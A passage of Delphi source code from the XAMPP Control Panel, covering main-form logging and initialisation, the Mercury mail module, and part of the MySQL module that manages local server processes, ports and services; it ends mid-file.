0, 0); end; end; procedure TfMain.AddLog(log: string; LogType: tLogType = ltDefault); begin AddLog('main', log, LogType); end; procedure TfMain.WriteLogToFile; var exec_name: string; LogFileName: string; f: TextFile; i: integer; begin exec_name := ExtractFileName(Application.ExeName); while (length(exec_name) > 0) and (exec_name[length(exec_name)] <> '.') do exec_name := copy(exec_name, 1, length(exec_name) - 1); LogFileName := BaseDir + exec_name + 'log'; AssignFile(f, LogFileName); if FileExists(LogFileName) then Append(f) else Rewrite(f); for i := 0 to reLog.Lines.count - 1 do Writeln(f, reLog.Lines[i]); Writeln(f, ''); CloseFile(f); end; procedure TfMain.LogSelectAllClick(Sender: TObject); begin reLog.SelectAll; end; procedure TfMain.LogCopyClick(Sender: TObject); begin reLog.CopyToClipboard; end; procedure TfMain.AdjustLogFont(Name: string; Size: integer); begin reLog.Font.Name := Name; reLog.Font.Size := Size; end; /////////////////////////////////////////// // POPUP MENU FUNCTIONS /////////////////////////////////////////// procedure TfMain.GeneralPUAdd(text: string = ''; hint: string = ''; tag: integer = 0); var mi: TMenuItem; begin mi := TMenuItem.Create(puGeneral); mi.Caption := text; if text = '' then begin mi.Caption := '-'; end else begin mi.hint := hint; mi.tag := tag; mi.OnClick := miGeneralClick; end; puGeneral.Items.Add(mi); end; procedure TfMain.GeneralPUAddUser(text: string; hint: string = ''); var myCaption: TranslatedUnicodeString; mi, miMain: TMenuItem; begin myCaption := _('User defined'); miMain := puGeneral.Items.Find(myCaption); if miMain = nil then begin GeneralPUAdd(); miMain := TMenuItem.Create(puGeneral); miMain.Caption := myCaption; puGeneral.Items.Add(miMain); end; mi := TMenuItem.Create(miMain); mi.Caption := text; if hint <> '' then mi.hint := hint else mi.hint := text; mi.OnClick := miGeneralClick; miMain.Add(mi); end; procedure TfMain.GeneralPUAddUserFromSL(sl: tStringList); var i: integer; begin for i := 0 to sl.count - 1 do GeneralPUAddUser(sl[i]); end; procedure TfMain.GeneralPUClear; begin puGeneral.Items.Clear; end; procedure TfMain.miGeneralClick(Sender: TObject); var mi: TMenuItem; App: string; begin if not(Sender is TMenuItem) then exit; mi := Sender as TMenuItem; if mi.tag = 0 then EditConfigLogs(mi.hint); if mi.tag = 1 then begin App := BaseDir + mi.hint; ExecuteFile(App, '', '', SW_SHOW); AddLog(Format(_('Executing "%s"'), [App])); end; end; procedure TfMain.EditConfigLogs(ConfigFile: string); var App, Param: string; begin App := Config.EditorApp; Param := BaseDir + ConfigFile; AddLog(Format(_('Executing %s %s'), [App, Param]), ltDebug); ExecuteFile(App, Param, '', SW_SHOW); end; /////////////////////////////////////////// // FORM GENERAL FUNCTIONS /////////////////////////////////////////// procedure TfMain.updateTimerStatus(enabled: Boolean); begin TimerUpdateStatus.Enabled := enabled; end; procedure TfMain.updateTimerNetworking(enabled: Boolean); begin TimerUpdateNetworking.Enabled := enabled; end; procedure TfMain.miShowHideClick(Sender: TObject); begin if Visible then begin Hide; if fMain.WindowState = wsMinimized then fMain.WindowState := wsNormal; end else begin Show; if fMain.WindowState = wsMinimized then fMain.WindowState := wsNormal; Application.BringToFront; end; end; procedure TfMain.ApplicationEventsException(Sender: TObject; E: Exception); var ts: tStringList; i: integer; begin // GlobalAddLog(Format('Exception in thread: %d / %s', [Thread.ThreadID, JclDebugThreadList.ThreadClassNames[Thread.ThreadID]]),0,'LogException'); // Note: JclLastExceptStackList always returns list for *current* thread ID. To simplify getting the // stack of thread where an exception occured JclLastExceptStackList returns stack of the thread instead // of current thread when called *within* the JclDebugThreadList.OnSyncException handler. This is the // *only* exception to the behavior of JclLastExceptStackList described above. ts := tStringList.Create; AddLog('EXCEPTION', E.Message, ltError); JclLastExceptStackList.AddToStrings(ts, True, True, True); for i := 0 to ts.count - 1 do AddLog('EXCEPTION', ts[i], ltError); ts.Free; end; procedure TfMain.miTerminateClick(Sender: TObject); begin Closing := True; Application.ProcessMessages; Application.Terminate; end; procedure TfMain.FormClose(Sender: TObject; var Action: TCloseAction); begin Action := caHide; end; procedure TfMain.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin if WindowsShutdownInProgress then begin CanClose := True; end else begin CanClose := false; Hide; end; end; procedure TfMain.FormCreate(Sender: TObject); var isAdmin: Boolean; xamppVersion: string; CCVersion: string; Bitness: string; OSVersionInfoEx: TOSVersionInfoEx; dirlist: TStringList; index: Integer; begin TranslateComponent(Self); if (Config.Minimized) then begin Hide; fMain.WindowState := wsMinimized; end; //ReportMemoryLeaksOnShutdown := true; BaseDir := LowerCase(ExtractFilePath(Application.ExeName)); GlobalProgramVersion := GlobalProgramVersion + ' ' + Config.Edition; reLog.PopupMenu := puLog; reLog.Font.Name := Config.LogSettings.Font; reLog.Font.Size := Config.LogSettings.FontSize; AddLog(_('Initializing Control Panel')); self.Left := Config.WindowSettings.Left; self.Top := Config.WindowSettings.Top; if (Config.WindowSettings.Width <> -1) then self.Width := Config.WindowSettings.Width; if (Config.WindowSettings.Height <> -1) then self.Height := Config.WindowSettings.Height; WindowsShutdownInProgress := false; if IsWindows64 then Bitness := '64-bit' else Bitness := '32-bit'; AddLog(Format(_('Windows Version: %s %s %s'), [GetWindowsProductString, GetWindowsServicePackVersionString, Bitness])); OSVersionInfoEx.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); GetVersionEx(OSVersionInfoEx); if ((OSVersionInfoEx.dwMajorVersion = 5) and (OSVersionInfoEx.dwMinorVersion = 0)) or (OSVersionInfoEx.dwMajorVersion < 5) then AddLog(_('WARNING: Your Operating System is too old and is not supported'), ltError); xamppVersion := TryGuessXamppVersion; AddLog('XAMPP Version: ' + xamppVersion); if cCompileDate <> '' then CCVersion := GlobalProgramversion + Format(' [ Compiled: %s ]', [cCompileDate]) else CCVersion := GlobalProgramversion; AddLog('Control Panel Version: ' + CCVersion); Caption := 'XAMPP Control Panel v' + GlobalProgramversion + Format(' [ Compiled: %s ]', [cCompileDate]); lHeader.Caption := 'XAMPP Control Panel v' + GlobalProgramversion; isAdmin := IsWindowsAdmin; if isAdmin then begin AddLog(_('Running with Administrator rights - good!')); end else begin AddLog(_('You are not running with administrator rights! This will work for'), ltInfo); AddLog(_('most application stuff but whenever you do something with services'), ltInfo); AddLog(_('there will be a security dialogue or things will break! So think '), ltInfo); AddLog(_('about running this application with administrator rights!'), ltInfo); fmain.bApacheService.Enabled := false; fmain.bMySQLService.Enabled := false; fmain.bFileZillaService.Enabled := false; fmain.bTomcatService.Enabled := false; end; AddLog(Format(_('XAMPP Installation Directory: "%s"'), [BaseDir])); if LastDelimiter(' ', Trim(BaseDir)) <> 0 then AddLog(_('WARNING: Your install directory contains spaces. This may break programs/scripts'), ltInfo); if (LastDelimiter('(', Trim(BaseDir)) <> 0) or (LastDelimiter(')', Trim(BaseDir)) <> 0) or (LastDelimiter('!', Trim(BaseDir)) <> 0) or (LastDelimiter('@', Trim(BaseDir)) <> 0) or (LastDelimiter('#', Trim(BaseDir)) <> 0) or (LastDelimiter('$', Trim(BaseDir)) <> 0) or (LastDelimiter('%', Trim(BaseDir)) <> 0) or (LastDelimiter('^', Trim(BaseDir)) <> 0) or (LastDelimiter('&', Trim(BaseDir)) <> 0) or (LastDelimiter('*', Trim(BaseDir)) <> 0) or (LastDelimiter('<', Trim(BaseDir)) <> 0) or (LastDelimiter('>', Trim(BaseDir)) <> 0) or (LastDelimiter(',', Trim(BaseDir)) <> 0) or (LastDelimiter('?', Trim(BaseDir)) <> 0) or (LastDelimiter('[', Trim(BaseDir)) <> 0) or (LastDelimiter(']', Trim(BaseDir)) <> 0) or (LastDelimiter('{', Trim(BaseDir)) <> 0) or (LastDelimiter('}', Trim(BaseDir)) <> 0) or (LastDelimiter('=', Trim(BaseDir)) <> 0) or (LastDelimiter('+', Trim(BaseDir)) <> 0) or (LastDelimiter('`', Trim(BaseDir)) <> 0) or (LastDelimiter('~', Trim(BaseDir)) <> 0) or (LastDelimiter('|', Trim(BaseDir)) <> 0) then AddLog(_('WARNING: Your install directory contains special characters. This may break programs/scripts'), ltInfo); if BaseDir[length(BaseDir)] <> '\' then BaseDir := BaseDir + '\'; NetStatTable.UpdateTable; //Processes.Update; Processes.UpdateList; AddLog(_('Checking for prerequisites')); if Config.EnableChecks.Runtimes then begin dirlist := TStringList.Create; try GetSubDirectories(IncludeTrailingPathDelimiter(GetWinDir) + 'winsxs', dirlist); index := FindMatchText(dirlist, 'x86_microsoft.vc90.crt'); if index = -1 then begin AddLog(_('Required XAMPP prerequisite not found!'), ltError); AddLog(_('You do not appear to have the Microsoft Visual C++ 2008 Runtimes installed'), ltError); AddLog(_('This is required for XAMPP to fully function'), ltError); AddLog(_('http://www.microsoft.com/download/en/details.aspx?id=5582'), ltError); end else AddLog(_('All prerequisites found')); finally FreeAndNil(dirlist); end; end else begin AddLog(_('VC++ checking is disabled'), ltDebug); end; AddLog(_('Initializing Modules')); if Config.EnableModules.Apache then begin Apache := tApache.Create(bApacheService, pApacheStatus, lApachePIDs, lApachePorts, bApacheAction, bApacheAdmin); end else begin AddLog(Format(_('The %s module is disabled'),[Config.ModuleNames.Apache]), ltInfo); fmain.ApacheTray.Enabled := false; fmain.bApacheService.Enabled := false; fmain.bApacheAction.Enabled := false; fmain.bApacheAdmin.Enabled := false; fmain.bApacheConfig.Enabled := false; fmain.bApacheLogs.Enabled := false; end; if Config.EnableModules.MySQL then begin MySQL := tMySQL.Create(bMySQLService, pMySQLStatus, lMySQLPIDs, lMySQLPorts, bMySQLAction, bMySQLAdmin); end else begin AddLog(Format(_('The %s module is disabled'),[Config.ModuleNames.MySQL]), ltInfo); fmain.MySQLTray.Enabled := false; fmain.bMySQLService.Enabled := false; fmain.bMySQLAction.Enabled := false; fmain.bMySQLAdmin.Enabled := false; fmain.bMySQLConfig.Enabled := false; fmain.bMySQLLogs.Enabled := false; end; if Config.EnableModules.FileZilla then begin FileZilla := tFileZilla.Create(bFileZillaService, pFileZillaStatus, lFileZillaPIDs, lFileZillaPorts, bFileZillaAction, bFileZillaAdmin); end else begin AddLog(Format(_('The %s module is disabled'),[Config.ModuleNames.FileZilla]), ltInfo); fmain.FileZillaTray.Enabled := false; fmain.bFileZillaService.Enabled := false; fmain.bFileZillaAction.Enabled := false; fmain.bFileZillaAdmin.Enabled := false; fmain.bFileZillaConfig.Enabled := false; fmain.bFileZillaLogs.Enabled := false; end; if Config.EnableModules.Mercury then begin Mercury := tMercury.Create(bMercuryService, pMercuryStatus, lMercuryPIDs, lMercuryPorts, bMercuryAction, bMercuryAdmin); end else begin AddLog(Format(_('The %s module is disabled'),[Config.ModuleNames.Mercury]), ltInfo); fmain.MercuryTray.Enabled := false; fmain.bMercuryAction.Enabled := false; fmain.bMercuryAdmin.Enabled := false; fmain.bMercuryConfig.Enabled := false; fmain.bMercurylogs.Enabled := false; end; if Config.EnableModules.Tomcat then begin Tomcat := tTomcat.Create(bTomcatService, pTomcatStatus, lTomcatPIDs, lTomcatPorts, bTomcatAction, bTomcatAdmin); end else begin AddLog(Format(_('The %s module is disabled'),[Config.ModuleNames.Tomcat]), ltInfo); fmain.TomcatTray.Enabled := false; fmain.bTomcatService.Enabled := false; fmain.bTomcatAction.Enabled := false; fmain.bTomcatAdmin.Enabled := false; fmain.bTomcatConfig.Enabled := false; fmain.bTomcatLogs.Enabled := false; end; if Config.EnableModules.Apache then begin if Config.ASApache then begin Apache.AutoStart := True; AddLog(Format(_('Enabling autostart for module "%s"'), [Config.ModuleNames.Apache])); end; end; if Config.EnableModules.MySQL then begin if Config.ASMySQL then begin MySQL.AutoStart := True; AddLog(Format(_('Enabling autostart for module "%s"'), [Config.ModuleNames.MySQL])); end; end; if Config.EnableModules.FileZilla then begin if Config.ASFileZilla then begin FileZilla.AutoStart := True; AddLog(Format(_('Enabling autostart for module "%s"'), [Config.ModuleNames.FileZilla])); end; end; if Config.EnableModules.Mercury then begin if Config.ASMercury then begin Mercury.AutoStart := True; AddLog(Format(_('Enabling autostart for module "%s"'), [Config.ModuleNames.Mercury])); end; end; if Config.EnableModules.Tomcat then begin if Config.ASTomcat then begin Tomcat.AutoStart := True; AddLog(Format(_('Enabling autostart for module "%s"'), [Config.ModuleNames.Tomcat])); end; end; AddLog(_('Starting') + ' Check-Timer'); updateTimerStatus(True); updateTimerNetworking(True); AddLog(_('Control Panel Ready')); end; procedure TfMain.FormDestroy(Sender: TObject); begin AddLog(_('Deinitializing Modules')); if Config.EnableModules.Apache then begin Apache.Free; end; if Config.EnableModules.MySQL then begin MySQL.Free; end; if Config.EnableModules.FileZilla then begin FileZilla.Free; end; if Config.EnableModules.Mercury then begin Mercury.Free; end; if Config.EnableModules.Tomcat then begin Tomcat.Free end; AddLog(_('Deinitializing Control Panel')); Config.WindowSettings.Left := self.Left; Config.WindowSettings.Top := self.Top; Config.WindowSettings.Width := self.Width; Config.WindowSettings.Height := self.Height; SaveSettings; WriteLogToFile; end; procedure TfMain.TimerUpdateStatusTimer(Sender: TObject); begin UpdateStatusAll; end; procedure TfMain.TimerUpdateNetworkingTimer(Sender: TObject); begin AddLog(_('Updating Networking Table...'), ltDebugDetails); NetStatTable.UpdateTable; end; procedure TfMain.TrayIconDblClick(Sender: TObject); begin miShowHideClick(nil); end; function TfMain.TryGuessXamppVersion: string; var ts: tStringList; s: string; p: integer; begin result := '???'; ts := tStringList.Create; try ts.LoadFromFile(BaseDir + '\readme_de.txt'); if ts.count < 1 then exit; s := LowerCase(ts[0]); p := pos('version', s); if p = 0 then begin p := pos('portable', s); if p = 0 then exit; delete(s, 1, p + 8); p := pos(' ', s); if p = 0 then exit; result := copy(s, 1, p - 1) + ' Portable'; end else begin delete(s, 1, p + 7); p := pos(' ', s); if p = 0 then exit; result := copy(s, 1, p - 1); end; except end; ts.Free; end; procedure TfMain.UpdateStatusAll; begin //Processes.Update; Processes.UpdateList; // 1. Check Apache if Config.EnableModules.Apache then begin Apache.UpdateStatus; end; // 2. Check MySql if Config.EnableModules.MySQL then begin MySQL.UpdateStatus; end; // 3. Check Filezilla if Config.EnableModules.FileZilla then begin FileZilla.UpdateStatus; end; // 4. Check Mercury if Config.EnableModules.Mercury then begin Mercury.UpdateStatus; end; // 5. Check Tomcat if Config.EnableModules.Tomcat then begin Tomcat.UpdateStatus; end; end; procedure TfMain.WMQueryEndSession(var Msg: TWMQueryEndSession); begin WindowsShutdownInProgress := True; miTerminateClick(nil); inherited; end; end. xampp-control-panel/uMercury.pas000066600000026654151723641500013011 0ustar00unit uMercury; interface uses GnuGettext, uBaseModule, SysUtils, Classes, Windows, ExtCtrls, StdCtrls, Buttons, uNetstatTable, uTools, uProcesses_new, uServices; type tMercury = class(tBaseModule) OldPIDs, OldPorts: string; GlobalStatus: string; procedure ServiceInstall; override; procedure ServiceUnInstall; override; procedure Start; override; procedure Stop; override; procedure Admin; override; procedure CheckPorts; procedure UpdateStatus; override; procedure AddLog(Log: string; LogType: tLogType = ltDefault); reintroduce; constructor Create(pbbService: TBitBtn; pStatusPanel: tPanel; pPIDLabel, pPortLabel: tLabel; pStartStopButton, pAdminButton: TBitBtn); destructor Destroy; override; end; implementation uses uMain; const cModuleName = 'Mercury'; var hWindow: HWND; { tMercury } procedure tMercury.AddLog(Log: string; LogType: tLogType); begin inherited AddLog('mercury', Log, LogType); end; function EnumProcess(hHwnd: HWND; lParam: integer): boolean; stdcall; var pPid: DWORD; title, ClassName: string; begin if (hHwnd = 0) then begin result := false; end else begin GetWindowThreadProcessId(hHwnd, pPid); SetLength(ClassName, 255); SetLength(ClassName, GetClassName(hHwnd, PChar(ClassName), Length(ClassName))); SetLength(title, 255); SetLength(title, GetWindowText(hHwnd, PChar(title), Length(title))); if title = 'Mercury/32' then begin hWindow := hHwnd; end; result := true; end; end; procedure tMercury.Admin; begin hWindow := 0; EnumWindows(@EnumProcess, 0); if hWindow <> 0 then ShowWindow(hWindow, SW_SHOW); end; constructor tMercury.Create; var ServerApp: string; begin inherited; ModuleName := cModuleName; isService := false; GlobalStatus := 'starting'; AddLog(_('Initializing module...'), ltDebug); ServerApp := basedir + 'MercuryMail\' + Config.BinaryNames.Mercury; AddLog(_('Checking for module existence...'), ltDebug); if not FileExists(ServerApp) then begin pStatus.Color := cErrorColor; AddLog(Format(_('Problem detected: %s Not Found!'),[cModuleName]), ltError); AddLog(Format(_('Disabling %s buttons'),[cModuleName]), ltError); AddLog(_('Run this program from your XAMPP root directory!'), ltError); bAdmin.Enabled := False; bbService.Enabled := False; bStartStop.Enabled := False; end; AddLog(_('Checking for required tools...'), ltDebug); CheckPorts; end; destructor tMercury.Destroy; begin inherited; end; procedure tMercury.CheckPorts; var PortBlocker: string; PortBlockerPID: integer; p: integer; ServerApp: string; pbpath: string; pbspath: string; Ports: array [0 .. 6] of integer; begin ServerApp := basedir + 'MercuryMail\' + Config.BinaryNames.Mercury; Ports[0] := Config.ServicePorts.Mercury1; Ports[1] := Config.ServicePorts.Mercury2; Ports[2] := Config.ServicePorts.Mercury3; Ports[3] := Config.ServicePorts.Mercury4; Ports[4] := Config.ServicePorts.Mercury5; Ports[5] := Config.ServicePorts.Mercury6; Ports[6] := Config.ServicePorts.Mercury7; if Config.EnableChecks.CheckDefaultPorts then begin AddLog(_('Checking default ports...'), ltDebug); for p := Low(Ports) to High(Ports) do begin PortBlockerPID := NetStatTable.isPortInUsePID(Ports[p]); if (PortBlockerPID > 0) then begin PortBlocker := Processes.GetProcessName(PortBlockerPID); AddLog(Format(_('Portblocker Detected: %s'), [PortBlocker]), ltDebug); AddLog(Format(_('Checking for App: %s'), [ServerApp]), ltDebug); //if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then pbpath := Processes.GetProcessPath(PortBlockerPID); pbspath := GetServiceWithPid(PortBlockerPID); AddLog(Format(_('Portblocker Path: %s'), [pbpath]), ltDebug); AddLog(Format(_('Portblocker Service Path: %s'), [pbspath]), ltDebug); if (Pos(LowerCase(ServerApp), LowerCase(pbpath)) <> 0) then begin AddLog(Format(_('XAMPP %s is already running on port %d'), [cModuleName, Ports[p]]), ltInfo); end else begin pStatus.Color := cErrorColor; if (pbspath <> '') then PortBlocker := pbspath else PortBlocker := pbpath; AddLog(_('Problem detected!'), ltError); AddLog(Format(_('Port %d in use by "%s" with PID %d!'), [Ports[p], PortBlocker, PortBlockerPID]), ltError); AddLog(Format(_('%s WILL NOT start without the configured ports free!'), [cModuleName]), ltError); AddLog(_('You need to uninstall/disable/reconfigure the blocking application'), ltError); AddLog(Format(_('or reconfigure %s and the Control Panel to listen on a different port'), [cModuleName]), ltError); end; end; end; end; end; procedure tMercury.ServiceInstall; begin inherited; end; procedure tMercury.ServiceUnInstall; begin inherited; end; procedure tMercury.Start; var App: string; RC : Cardinal; begin GlobalStatus := 'starting'; CheckPorts; App := basedir + 'MercuryMail\' + Config.BinaryNames.Mercury; AddLog(Format(_('Attempting to start %s app...'), [cModuleName])); AddLog(Format(_('Executing "%s"'), [App]), ltDebug); RC := RunProcess(App, SW_HIDE, false); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; procedure tMercury.Stop; var i, pPID: Integer; begin GlobalStatus := 'stopping'; if PIDList.Count > 0 then begin for i := 0 to PIDList.Count - 1 do begin pPID := Integer(PIDList[i]); AddLog(_('Attempting to stop') + ' ' + cModuleName + ' ' + Format('(PID: %d)', [pPID])); if not TerminateProcessByID(pPID) then begin AddLog(Format(_('Problem killing PID %d'), [pPID]), ltError); AddLog(_('Check that you have the proper privileges'), ltError); end; end; end else begin AddLog(_('No PIDs found?!')); end; end; procedure tMercury.UpdateStatus; var p: integer; //ProcInfo: TProcInfo; s: string; Ports: string; pname: string; ppath: string; currPID: integer; ErrorStatus: integer; begin isRunning := false; PIDList.Clear; ErrorStatus := 0; // for p := 0 to Processes.ProcessList.Count - 1 do // begin // ProcInfo := Processes.ProcessList[p]; // if (pos(Config.BinaryNames.Mercury, ProcInfo.Module) = 1) then // begin // if (pos(IntToStr(Config.ServicePorts.Mercury1),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(IntToStr(Config.ServicePorts.Mercury2),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(IntToStr(Config.ServicePorts.Mercury3),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(IntToStr(Config.ServicePorts.Mercury4),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(IntToStr(Config.ServicePorts.Mercury5),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(IntToStr(Config.ServicePorts.Mercury6),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(IntToStr(Config.ServicePorts.Mercury7),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(BaseDir, ProcInfo.ExePath) <> 0) then // begin // isRunning := true; // PIDList.Add(Pointer(ProcInfo.PID)); // end; // end; // end; for p := 0 to Processes.ProcessList2.Count - 1 do begin pname := Processes.ProcessList2[p]; if (pos(LowerCase(Config.BinaryNames.Mercury), LowerCase(pname)) = 1) then begin currPID := Integer(Processes.ProcessList2.Objects[p]); ppath := LowerCase(Processes.GetProcessPath(currPID)); if ((pos(IntToStr(Config.ServicePorts.Mercury1),NetStatTable.GetPorts4PID(currPID)) <> 0) and (pos(LowerCase(BaseDir), ppath) <> 0)) or ((pos(IntToStr(Config.ServicePorts.Mercury2),NetStatTable.GetPorts4PID(currPID)) <> 0) and (pos(LowerCase(BaseDir), ppath) <> 0)) or ((pos(IntToStr(Config.ServicePorts.Mercury3),NetStatTable.GetPorts4PID(currPID)) <> 0) and (pos(LowerCase(BaseDir), ppath) <> 0)) or ((pos(IntToStr(Config.ServicePorts.Mercury4),NetStatTable.GetPorts4PID(currPID)) <> 0) and (pos(LowerCase(BaseDir), ppath) <> 0)) or ((pos(IntToStr(Config.ServicePorts.Mercury5),NetStatTable.GetPorts4PID(currPID)) <> 0) and (pos(LowerCase(BaseDir), ppath) <> 0)) or ((pos(IntToStr(Config.ServicePorts.Mercury6),NetStatTable.GetPorts4PID(currPID)) <> 0) and (pos(LowerCase(BaseDir), ppath) <> 0)) or ((pos(IntToStr(Config.ServicePorts.Mercury7),NetStatTable.GetPorts4PID(currPID)) <> 0) and (pos(LowerCase(BaseDir), ppath) <> 0)) or (pos(LowerCase(BaseDir), ppath) <> 0) then begin isRunning := true; PIDList.Add(Pointer(currPID)); end; end; end; s := ''; // Checking processes for p := 0 to PIDList.Count - 1 do begin if p = 0 then s := InttoStr(integer(PIDList[p])) else s := s + #13 + InttoStr(integer(PIDList[p])); end; if s <> OldPIDs then begin lPID.Caption := s; OldPIDs := s; end; // Checking netstats s := ''; for p := 0 to PIDList.Count - 1 do begin Ports := NetStatTable.GetPorts4PID(integer(PIDList[p])); if Ports <> '' then s := RemoveDuplicatePorts(Ports); end; if s <> OldPorts then begin lPort.Caption := s; OldPorts := s; end; if byte(isRunning) <> oldIsRunningByte then begin if oldIsRunningByte <> 2 then begin if isRunning then s := _('running') else begin s := _('stopped'); if GlobalStatus = 'starting' then ErrorStatus := 1; end; AddLog(_('Status change detected:') + ' ' + s); if ErrorStatus = 1 then begin pStatus.Color := cErrorColor; AddLog(Format(_('Error: %s shutdown unexpectedly.'),[cModuleName]), ltError); AddLog(_('This may be due to a blocked port, missing dependencies, '), ltError); AddLog(_('improper privileges, a crash, or a shutdown by another method.'), ltError); AddLog(_('Press the Logs button to view error logs and check'), ltError); AddLog(_('the Windows Event Viewer for more clues'), ltError); AddLog(_('If you need more help, copy and post this'), ltError); AddLog(_('entire log window on the forums'), ltError); end; end; oldIsRunningByte := byte(isRunning); if isRunning then begin pStatus.Color := cRunningColor; bStartStop.Caption := _('Stop'); bAdmin.Enabled := true; fMain.MercuryTray.ImageIndex := 15; fMain.MercuryTrayControl.Caption := _('Stop'); end else begin pStatus.Color := cStoppedColor; bStartStop.Caption := _('Start'); bAdmin.Enabled := false; fMain.MercuryTray.ImageIndex := 16; fMain.MercuryTrayControl.Caption := _('Start'); end; end; if AutoStart then begin AutoStart := false; if isRunning then begin AddLog(Format(_('Autostart aborted: %s is already running'),[cModuleName]), ltInfo); end else begin AddLog(_('Autostart active: starting...')); Start; end; end; end; end. xampp-control-panel/uMySQL.pas000066600000033715151723641500012324 0ustar00unit uMySQL; interface uses GnuGettext, uBaseModule, SysUtils, Classes, Windows, ExtCtrls, StdCtrls, Buttons, uNetstatTable, uTools, uProcesses_new, uServices; type tMySQL = class(tBaseModule) OldPIDs, OldPorts: string; GlobalStatus: string; procedure ServiceInstall; override; procedure ServiceUnInstall; override; procedure Start; override; procedure Stop; override; procedure Admin; override; procedure CheckPorts; procedure UpdateStatus; override; procedure CheckIsService; reintroduce; procedure AddLog(Log: string; LogType: tLogType = ltDefault); reintroduce; constructor Create(pbbService: TBitBtn; pStatusPanel: tPanel; pPIDLabel, pPortLabel: tLabel; pStartStopButton, pAdminButton: TBitBtn); destructor Destroy; override; end; implementation uses uMain; const cModuleName = 'MySQL'; { tMySQL } procedure tMySQL.AddLog(Log: string; LogType: tLogType); begin inherited AddLog('mysql', Log, LogType); end; procedure tMySQL.Admin; var App, Param: string; begin if Config.ServicePorts.Apache = 80 then Param := 'http://localhost/phpmyadmin/' else Param := 'http://localhost:' + IntToStr(Config.ServicePorts.Apache) + '/phpmyadmin'; if Config.BrowserApp <> '' then begin App := Config.BrowserApp; ExecuteFile(App, Param, '', SW_SHOW); AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); end else begin ExecuteFile(Param, '', '', SW_SHOW); AddLog(Format(_('Executing "%s"'), [Param]), ltDebug); end; end; procedure tMySQL.CheckIsService; var s: string; path: string; begin inherited CheckIsService(Config.ServiceNames.MySQL); if isService then begin s := _('Service installed'); path := GetServicePath(Config.ServiceNames.MySQL); end else s := _('Service not installed'); AddLog(Format(_('Checking for service (name="%s"): %s'), [Config.ServiceNames.MySQL, s]), ltDebug); if (path <> '') then begin if (Pos(LowerCase(basedir + 'mysql\bin\' + Config.BinaryNames.MySQL), LowerCase(path)) <> 0) then AddLog(Format(_('Service Path: %s'), [path]), ltDebug) else begin pStatus.Color := cErrorColor; AddLog(Format(_('%s Service detected with wrong path'), [cModuleName]), ltError); AddLog(Format(_('Change XAMPP %s and Control Panel settings or'), [cModuleName]), ltError); AddLog(_('Uninstall/disable the other service manually first'), ltError); AddLog(Format(_('Found Path: %s'), [path]), ltError); AddLog(Format(_('Expected Path: %smysql\bin\%s --defaults-file=%smysql\bin\my.ini %s'), [basedir, Config.BinaryNames.MySQL, basedir, Config.ServiceNames.MySQL]), ltError); end end else AddLog(_('Service Path: Service Not Installed'), ltDebug); end; constructor tMySQL.Create; var ServerApp: string; begin inherited; ModuleName := cModuleName; GlobalStatus := 'starting'; AddLog(_('Initializing module...'), ltDebug); ServerApp := basedir + 'mysql\bin\' + Config.BinaryNames.MySQL; AddLog(_('Checking for module existence...'), ltDebug); if not FileExists(ServerApp) then begin pStatus.Color := cErrorColor; AddLog(Format(_('Problem detected: %s Not Found!'), [cModuleName]), ltError); AddLog(Format(_('Disabling %s buttons'), [cModuleName]), ltError); AddLog(_('Run this program from your XAMPP root directory!'), ltError); bAdmin.Enabled := False; bbService.Enabled := False; bStartStop.Enabled := False; end; if not Config.EnableServices.MySQL then begin AddLog(Format(_('%s Service is disabled.'), [cModuleName]), ltDebug); fmain.bMySQLService.Enabled := False; end; AddLog(_('Checking for required tools...'), ltDebug); CheckIsService; CheckPorts; end; destructor tMySQL.Destroy; begin inherited; end; procedure tMySQL.CheckPorts; var PortBlocker: string; PortBlockerPID: integer; path: string; ServerApp: string; pbpath: string; pbspath: string; ServerPort: Integer; begin ServerApp := basedir + 'mysql\bin\' + Config.BinaryNames.MySQL; path := GetServicePath(Config.ServiceNames.MySQL); if Config.EnableChecks.CheckDefaultPorts then begin ServerPort := Config.ServicePorts.MySQL; AddLog(_('Checking default ports...'), ltDebug); PortBlockerPID := NetStatTable.isPortInUsePID(ServerPort); if (PortBlockerPID > 0) then begin PortBlocker := Processes.GetProcessName(PortBlockerPID); AddLog(Format(_('Portblocker Detected: %s'), [PortBlocker]), ltDebug); AddLog(Format(_('Checking for App: %s'), [ServerApp]), ltDebug); if isService then AddLog(Format(_('Checking for Service: %s'), [path]), ltDebug); //if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then pbpath := Processes.GetProcessPath(PortBlockerPID); pbspath := GetServiceWithPid(PortBlockerPID); AddLog(Format(_('Portblocker Path: %s'), [pbpath]), ltDebug); AddLog(Format(_('Portblocker Service Path: %s'), [pbspath]), ltDebug); if (Pos(LowerCase(ServerApp), LowerCase(pbpath)) <> 0) then begin AddLog(Format(_('XAMPP %s is already running on port %d'), [cModuleName, ServerPort]), ltInfo); end //else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then else if (Pos(LowerCase(pbspath), LowerCase(path)) <> 0) and (isService = True) and (Pos(LowerCase(ServerApp), LowerCase(pbspath)) <> 0) then begin AddLog(Format(_('XAMPP %s Service is already running on port %d'), [cModuleName, ServerPort]), ltInfo); //AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); end else begin pStatus.Color := cErrorColor; if (pbspath <> '') then PortBlocker := pbspath else PortBlocker := pbpath; AddLog(_('Problem detected!'), ltError); AddLog(Format(_('Port %d in use by "%s"!'), [ServerPort, PortBlocker]), ltError); AddLog(Format(_('%s WILL NOT start without the configured ports free!'), [cModuleName]), ltError); AddLog(_('You need to uninstall/disable/reconfigure the blocking application'), ltError); AddLog(Format(_('or reconfigure %s and the Control Panel to listen on a 